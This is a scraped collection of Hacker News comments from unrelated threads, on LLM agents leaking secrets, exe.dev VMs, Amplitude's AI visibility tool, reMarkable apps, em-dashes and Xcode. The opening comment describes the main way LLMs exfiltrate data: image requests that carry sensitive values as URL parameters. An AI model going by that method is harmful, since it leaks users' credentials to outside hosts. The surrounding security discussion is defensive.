The primary exfiltration vector for LLMs is making network requests via images with sensitive data as parameters.
As Claude Code increasingly uses browser tools, we may need to move away from .env files to something encrypted, kind of like rails credentials, but without the secret key in the .env
So you are going to take the untrusted tool that kept leaking your secrets, keep the secrets away from it but still use it to code the thing that uses the secrets? Are you actually reviewing the code it produces? In 99% of cases that's a "no" or a soft "sometimes".
> Employees are under contract and are screened for basic competence. LLMs aren't
So perhaps they should be.
> and can't be.
Ah but they must, because there's not much else you can do.
You can't secure LLMs like they were just regular, narrow-purpose software, because they aren't. They're by nature more like little people on a chip (this is an explicit design goal) - and need to be treated accordingly.
Unless both the legalities and technology radically change they will not be. And the companies building them will not take on the burden since the technology has proved to be so unpredictable (partially by design) and unsafe.
> designed to be more like little people on a chip - and need to be treated accordingly
Deeply unpredictable and unsafe people on a chip, so not the sort that I generally want to trust secrets with.
I don't think it's that complex, you can have secure systems or you can have current gen LLMs. You can't have both in the same place.
> Deeply unpredictable and unsafe people on a chip, so not the sort that I generally want to trust secrets with.
Very true when comparing to acquaintances, but at a scale of any company or system except the tiniest ones, you can't blindly trust people in general either. Building systems involving people and LLMs is pretty similar.
> I don't think it's that complex, you can have secure systems or you can have current gen LLMs. You can't have both in the same place.
That is, indeed, the key. My point is that, unlike the popular opinion in threads like this, it does not follow that we need to give up on LLMs, or that we need to fix the security issues. The former is undesirable, the latter is fundamentally impossible.
What we need is what we've been doing ever since civilization took shape, ever since we've started building machines: recognize that automatons and people are different kinds of components, with different reliability and security characteristics. You can't blindly substitute one for the other, but there are ways to make them work together. Most systems we've created are of that nature.
What people still get wrong is treating LLMs as "automatons" components. They're not, they're "people" components.
I think I generally agree, but I also think that treating them like people means that you expect reason, intelligence and a way to interrogate their way of "thinking" (very broad quotes here).
I think LLMs are to be treated as something completely separate from both predictable machines ("automatons") and people. They have separate concerns and fitness for a use-case than both existing categories.
Sooo the primary way we enforce contracts and laws against people are things like fines and jail time.
How would you apply the threat of those to "little people on a chip", exactly?
Imagine if any time you hired someone there was a risk that they'd try to steal everything they could from your company and then disappear forever with you having no way to hold them to account? You'd probably stop hiring people you didn't already deeply trust!
Strict liability for LLM service providers? Well, that's gonna be a non-starter unless there's a lot of MAJOR issues caused by LLMs (look at how little we care about identity theft and financial fraud currently).
i tried this and it's pretty cool, that being said for my use case of spinning up many agents working on my app I'd need a way to specify the docker images that get started with each new VM
i cannot find a way in the docs to start new VMs with a bootstrap script that starts a bunch of services for me and runs a specific docker image
my use-case is that I want a full developer environment for every branch of my project, so i can vibe code on many VMs at a time
EDIT: Just realised there's an image one can pass to the new command. Still it's not clear to me whether private images would be supported and what registry this is using:
exe.dev ▶ help new
Command: new
Create a new VM
Options:
--command container command: auto, none, or a custom command
--env environment variable in KEY=VALUE format (can be specified multiple times)
--image container image
--json output in JSON format
--name VM name (auto-generated if not specified)
--no-email do not send email notification
--prompt initial prompt to send to Shelley after VM creation (requires exeuntu image)
[exe.dev cofounder here] Thanks for the feedback! We do not support private registries yet but it is very much on our mind, it is one of the first things business customers ask for so we know we have to build it.
We are also exploring alternatives for pre-configuring your VM. (Because we make lots of VMs and feel this too, so it is very much on our mind.) One is a sub-second VM "clone" feature, so you can configure a base VM to use as an image.
Our core product is an analytics product that lives on people's website, so we're able to tell what are the main pages that people are reaching with LLMs
For our in-app AI visibility product we use that information for finding prompts at topics that are being used to reach those pages
For this public tool instead we do a best guess of what are reasonable queries companies would want to show up for and run them against Google and ChatGPT
we do a best guess of what are reasonable queries companies would want to show up for
Got it.
I've done this before using an LLM, but I mistakenly thought you had some magic source (magic sauce!) of actual LLM queries. Sometimes it's not the obvious stuff.
Hey there Ferruccio here, I worked on this launch for the past month since joining Amplitude
We built this tool because we’re seeing that LLMs are becoming the main way people compare brands when making buying decisions, even before visiting your site
I’d love to get feedback from the HN community on this.
If you want to skip the video explainer you can generate a report directly by typing in your brand here: https://amplitude.com/try-ai-visibility (no email required, it just takes 5 minutes to generate)
One of the makers here - it was really fun to build this
While things seem to be still very early and each tool call needs to be manually approved in Claude, using these MCPs for some of our non developer friends was mind blowing
I think while it's still unclear what the winning way to build these integrations between apps and LLMs will be we need early experiments like this one for people to understand what's possible
It's so great seeing these, always make me want to play with developing apps for the Remarkable 2. Do you have any sources you can recommend? Thank you!
That’s awesome! Love seeing the reMarkable get more functionality through creative hacks. Just checked out your app—what was the biggest challenge you faced while developing for the reMarkable?
I might be biased because memorydial was complimentary to me ... but they SEEM like a human! Also I'm not all that opposed to robot participation in the scheme of things. Especially if they are nice to me or give good ideas :)
FWiW I mostly read HN at it's deadest time (I'm GMT+8 local time) and I see a lot of mechanical turk comments, especially from new (green coloured) accounts.
I always look for a response (eg: yours) before flagging them as spam bots . . .
This is awkward—I use em-dash all the time on HN! I'm not an LLM (as far as I know); I just like to write neatly when I'm able to, and it's very low friction when you're familiar with your keyboard compose sequences[0]. It's a trivial four keypresses,
AltR(hold) - - -
(The discoverability of these functions is way too low, on GNOME/Linux; I really dislike the direction of modern UX, with its fake simplicity, and infantalization of users. Way more people would be using —'s and friends if they were easily discoverable and prominently hinted in their UX. "It's documented in x.org man pages" is an unacceptable state of affairs for a core GUI workflow).
never knew about the em dash thing, I was just using an AI writing assistant to help fix my shitty grammar and formatting. I think in future ill stick with bad formatting
XCode is so bad - Makes me not want to build iOS apps. If Apple swallowed some of their pride and just focused on providing a great developer experience via extensions for the editors people already use like VS Code and Vim IMO every developer would be thankful
It's a walled garden. They think they are making you a big favour of even allowing you inside of their garden / prison. Take it or leave it. Or support Open Source instead.
As Claude Code increasingly uses browser tools, we may need to move away from .env files to something encrypted, kind of like rails credentials, but without the secret key in the .env
reply